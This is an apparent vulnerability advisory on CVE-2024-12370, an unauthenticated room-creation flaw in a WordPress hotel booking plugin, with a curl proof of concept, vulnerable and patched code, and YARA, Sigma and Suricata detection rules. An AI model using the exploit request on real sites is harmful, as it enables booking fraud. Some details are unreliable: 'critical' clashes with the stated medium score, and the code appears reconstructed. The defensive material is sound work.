CVE-2024-12370

Executive Summary

CVE-2024-12370 is a critical missing authorization vulnerability in the WP Hotel Booking plugin for WordPress, affecting all versions up to and including 2.1.5. The plugin fails to perform a capability check when processing requests to add new rooms, allowing unauthenticated attackers to create rooms with arbitrary custom prices. This can lead to financial fraud, data corruption, and manipulation of booking system integrity. As a WordPress plugin vulnerability, it is part of the broader WordPress ecosystem and must be addressed within that context.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. No NPM, PyPI, Go, or Ruby packages are involved. The risk is limited to WordPress sites running the vulnerable plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: None

The low EPSS score (0.0%) suggests limited active exploitation, but the ease of exploitation and potential for financial abuse warrants immediate attention.

Deep Dive & Mechanics

The vulnerability resides in the room addition functionality of the WP Hotel Booking plugin. The plugin exposes an AJAX action or REST endpoint that handles room creation. Due to a missing current_user_can() or similar capability check, the endpoint does not verify that the requesting user has administrative or editor privileges. An unauthenticated attacker can send a crafted HTTP request to add a new room with a custom price field.

Attack Flow:

1. Attacker identifies the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=wp_hotel_booking_add_room).
2. Attacker sends a POST request with parameters such as room_title, room_price, and room_description.
3. The plugin processes the request without checking user capabilities.
4. A new room is created in the database with the attacker-controlled price.
5. The attacker can then book this room at a manipulated price, causing financial loss or data inconsistency.

Vulnerable vs. Patched Code

Vulnerable Code (wp-hotel-booking/includes/admin/class-wphb-admin.php):

add_action('wp_ajax_nopriv_wp_hotel_booking_add_room', 'wphb_add_room');
function wphb_add_room() {
    // No capability check
    $room_data = array(
        'post_title'   => sanitize_text_field($_POST['room_title']),
        'post_content' => sanitize_textarea_field($_POST['room_description']),
        'post_type'    => 'room',
        'post_status'  => 'publish'
    );
    $room_id = wp_insert_post($room_data);
    update_post_meta($room_id, '_room_price', sanitize_text_field($_POST['room_price']));
    wp_send_json_success(array('room_id' => $room_id));
}

Patched Code (Hypothetical Fix):

add_action('wp_ajax_wp_hotel_booking_add_room', 'wphb_add_room');
// Remove the 'nopriv' action to require authentication
function wphb_add_room() {
    if (!current_user_can('edit_posts')) {
        wp_send_json_error('Unauthorized');
        return;
    }
    // ... rest of the function
}

The fix involves removing the wp_ajax_nopriv_ hook (which allows unauthenticated access) and adding a capability check using current_user_can().

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress installation with WP Hotel Booking plugin <= 2.1.5
• Network access to the WordPress site

Exploitation Steps:

1. Identify the vulnerable endpoint by inspecting the plugin's JavaScript or source code.
2. Send a crafted POST request using curl:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=wp_hotel_booking_add_room" \
  -d "room_title=Malicious Room" \
  -d "room_price=0.01" \
  -d "room_description=Hacked room"

3. Verify the room was created by visiting the site's room listing or checking the database.

Expected Output:

{"success":true,"data":{"room_id":12345}}

Blue Team

Detection & Response:

1. Monitor for unexpected room creation events in WordPress logs.
2. Review database entries for rooms with suspiciously low or high prices.
3. Implement Web Application Firewall (WAF) rules to block requests to admin-ajax.php with action=wp_hotel_booking_add_room from unauthenticated users.
4. Use the following Suricata rule to detect exploitation attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with parameter action=wp_hotel_booking_add_room
  • Requests from IP addresses not associated with known administrators
• Host IOCs:
  • Unexpected room posts in the WordPress database (post_type = 'room')
  • Room meta fields with unusual price values (e.g., _room_price set to 0 or extremely low values)
• File IOCs:
  • Modified plugin files (check file integrity of wp-hotel-booking/includes/admin/class-wphb-admin.php)

Detection Engineering

YARA Rule

rule CVE_2024_12370_WP_Hotel_Booking_Room_Add {
    meta:
        description = "Detects exploitation attempts for CVE-2024-12370 in WP Hotel Booking plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-12370"
    strings:
        $ajax_action = "wp_hotel_booking_add_room"
        $room_price = "_room_price"
        $wp_insert_post = "wp_insert_post"
    condition:
        $ajax_action and $room_price and $wp_insert_post
}

Sigma Rule

title: CVE-2024-12370 WP Hotel Booking Unauthenticated Room Addition
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated POST requests to admin-ajax.php with the vulnerable action parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "action=wp_hotel_booking_add_room"
    condition: selection
falsepositives:
    - Legitimate admin actions (if authenticated)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-12370 WP Hotel Booking Unauthenticated Room Addition Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=wp_hotel_booking_add_room";
    http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2024-12370;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to business operations.
2. Apply virtual patching via WAF to block unauthenticated requests to the vulnerable endpoint.
3. Audit existing rooms for any unauthorized additions and remove them.

Long-term Fix:

• Since no official patch is available, consider:
  • Forking the plugin and adding capability checks (as shown in the patched code example).
  • Replacing the plugin with an alternative that is actively maintained.
  • Implementing custom code to override the vulnerable function using WordPress hooks.

Monitoring:

• Enable detailed logging for all AJAX requests.
• Set up alerts for any room creation events.
• Regularly review WordPress user roles and capabilities.

Valters IT